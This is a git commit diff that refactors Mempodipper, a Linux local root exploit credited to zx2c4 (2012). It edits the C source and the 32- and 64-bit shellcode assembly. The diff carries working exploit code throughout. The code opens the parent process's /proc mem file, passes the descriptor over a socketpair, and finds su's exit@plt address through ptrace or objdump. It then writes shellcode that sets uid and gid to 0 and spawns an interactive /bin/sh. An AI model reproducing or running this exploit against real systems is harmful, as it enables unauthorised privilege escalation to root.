Move things into separate functions.

3 files changed, 93 insertions, 56 deletions

diff --git a/mempodipper.c b/mempodipper.c
index e35d62a..5cd9c4a 100644
--- a/mempodipper.c
+++ b/mempodipper.c
@@ -32,6 +32,8 @@
 #include <unistd.h>
 #include <limits.h>
 
+char *prog_name;
+
 int send_fd(int sock, int fd)
 {
 	char buf[1];
@@ -98,11 +100,14 @@ int recv_fd(int sock)
 unsigned long ptrace_address()
 {
 	int fd[2];
+	printf("[+] Creating ptrace pipe.\n");
 	pipe2(fd, O_NONBLOCK);
+	printf("[+] Forking ptrace child.\n");
 	int child = fork();
 	if (child) {
 		close(fd[1]);
 		char buf;
+		printf("[+] Waiting for ptraced child to give output on syscalls.\n");
 		for (;;) {
 			wait(NULL);
 			if (read(fd[0], &buf, 1) > 0)
@@ -110,6 +115,7 @@ unsigned long ptrace_address()
 			ptrace(PTRACE_SYSCALL, child, NULL, NULL);
 		}
 		
+		printf("[+] Error message written. Single stepping to find address.\n");
 		struct user_regs_struct regs;
 		for (;;) {
 			ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
@@ -131,7 +137,11 @@ unsigned long ptrace_address()
 			}
 		}
 	} else {
-		ptrace(PTRACE_TRACEME, 0, NULL, NULL);
+		printf("[+] Ptrace_traceme'ing process.\n");
+		if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
+			perror("[-] ptrace");
+			return 0;
+		}
 		close(fd[0]);
 		dup2(fd[1], 2);
 		execl("/bin/su", "su", "not-a-valid-user", NULL);
@@ -142,6 +152,10 @@ unsigned long ptrace_address()
 unsigned long objdump_address()
 {
 	FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
+	if (!command) {
+		perror("[-] popen");
+		return 0;
+	}
 	char result[32];
 	result[0] = 0;
 	fgets(result, 32, command);
@@ -149,33 +163,60 @@ unsigned long objdump_address()
 	return strtoul(result, NULL, 16);
 }
 
-int main(int argc, char **argv)
+unsigned long find_address()
 {
-	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
-		char parent_mem[256];
-		sprintf(parent_mem, "/proc/%d/mem", getppid());
-		printf("[+] Opening parent mem %s in child.\n", parent_mem);
-		int fd = open(parent_mem, O_RDWR);
-		if (fd < 0) {
-			perror("[-] open");
-			return 1;
+	printf("[+] Ptracing su to find next instruction without reading binary.\n");
+	unsigned long address = ptrace_address();
+	if (!address) {
+		printf("[-] Ptrace failed.\n");
+		printf("[+] Reading su binary with objdump to find exit@plt.\n");
+		address = objdump_address();
+		if (address == ULONG_MAX || !address) {
+			printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
+			printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
+			exit(-1);
 		}
-		printf("[+] Sending fd %d to parent.\n", fd);
-		send_fd(atoi(argv[2]), fd);
-		return 0;
 	}
-	
-	printf("===============================\n");
-	printf("=          Mempodipper        =\n");
-	printf("=           by zx2c4          =\n");
-	printf("=         Jan 21, 2012        =\n");
-	printf("===============================\n\n");
-	
+	printf("[+] Resolved call address to 0x%lx.\n", address);
+	return address;
+}
+
+int su_padding()
+{
+	printf("[+] Calculating su padding.\n");
+	FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
+	if (!command) {
+		perror("[-] popen");
+		exit(1);
+	}
+	char result[256];
+	fgets(result, 256, command);
+	pclose(command);
+	return strstr(result, "this-user-does-not-exist") - result;
+}
+
+int child(int sock)
+{
+	char parent_mem[256];
+	sprintf(parent_mem, "/proc/%d/mem", getppid());
+	printf("[+] Opening parent mem %s in child.\n", parent_mem);
+	int fd = open(parent_mem, O_RDWR);
+	if (fd < 0) {
+		perror("[-] open");
+		return 1;
+	}
+	printf("[+] Sending fd %d to parent.\n", fd);
+	send_fd(sock, fd);
+	return 0;
+}
+
+int parent(unsigned long address)
+{
 	int sockets[2];
 	printf("[+] Opening socketpair.\n");
 	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
 		perror("[-] socketpair");
-		return -1;
+		return 1;
 	}
 	if (fork()) {
 		printf("[+] Waiting for transferred fd in parent.\n");
@@ -183,38 +224,13 @@ int main(int argc, char **argv)
 		printf("[+] Received fd at %d.\n", fd);
 		if (fd < 0) {
 			perror("[-] recv_fd");
-			return -1;
+			return 1;
 		}
 		printf("[+] Assigning fd %d to stderr.\n", fd);
-		dup2(2, 6);
+		dup2(2, 15);
 		dup2(fd, 2);
 
-		unsigned long address;
-		if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
-			address = strtoul(argv[2], NULL, 16);
-		else {
-			printf("[+] Ptracing su to find next instruction without reading binary.\n");
-			address = ptrace_address();
-			if (!address) {
-				printf("[-] Ptrace failed.\n");
-				printf("[+] Reading su binary with objdump to find exit@plt.\n");
-				address = objdump_address();
-				if (address == ULONG_MAX || !address) {
-					printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
-					printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
-					return 1;
-				}
-			}
-			printf("[+] Resolved exit@plt to 0x%lx.\n", address);
-		}
-		printf("[+] Calculating su padding.\n");
-		FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
-		char result[256];
-		result[0] = 0;
-		fgets(result, 256, command);
-		pclose(command);
-		unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
-		unsigned long offset = address - su_padding;
+		unsigned long offset = address - su_padding();
 		printf("[+] Seeking to offset 0x%lx.\n", offset);
 		lseek64(fd, offset, SEEK_SET);
 		
@@ -222,7 +238,7 @@ int main(int argc, char **argv)
 		// See shellcode-32.s in this package for the source.
 		char shellcode[] =
 			"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
-			"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
+			"\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
 			"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
 			"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
 			"\x80";
@@ -230,7 +246,7 @@ int main(int argc, char **argv)
 		// See shellcode-64.s in this package for the source.
 		char shellcode[] =
 			"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
-			"\x31\xf6\x40\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
+			"\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
 			"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
 			"\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
 			"\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
@@ -243,6 +259,27 @@ int main(int argc, char **argv)
 		char sock[32];
 		sprintf(sock, "%d", sockets[0]);
 		printf("[+] Executing child from child fork.\n");
-		execl("/proc/self/exe", argv[0], "-c", sock, NULL);
+		execl("/proc/self/exe", prog_name, "-c", sock, NULL);
 	}
+	return 0;
+}
+
+int main(int argc, char **argv)
+{
+	prog_name = argv[0];
+	
+	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
+		return child(atoi(argv[2]));
+	
+	printf("===============================\n");
+	printf("=          Mempodipper        =\n");
+	printf("=           by zx2c4          =\n");
+	printf("=         Jan 21, 2012        =\n");
+	printf("===============================\n\n");
+	
+	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
+		return parent(strtoul(argv[2], NULL, 16));
+	else
+		return parent(find_address());
+	
 }
diff --git a/shellcode-32.s b/shellcode-32.s
index bb29701..4cde42e 100644
--- a/shellcode-32.s
+++ b/shellcode-32.s
@@ -13,9 +13,9 @@ int 0x80
 xor ebx,ebx
 mov al,0x2e
 int 0x80
-;dup2(6, 2)
+;dup2(15, 2)
 xor ecx,ecx
-mov bl,0x6
+mov bl,0xf
 mov cl,0x2
 mov al,0x3f
 int 0x80
diff --git a/shellcode-64.s b/shellcode-64.s
index 517b617..f091d70 100644
--- a/shellcode-64.s
+++ b/shellcode-64.s
@@ -13,9 +13,9 @@ syscall
 xor rdi,rdi
 mov al,0x6a
 syscall
-;dup2(6, 2)
+;dup2(15, 2)
 xor rsi,rsi
-mov dil,0x6
+mov dil,0xf
 mov sil,0x2
 mov al,0x21
 syscall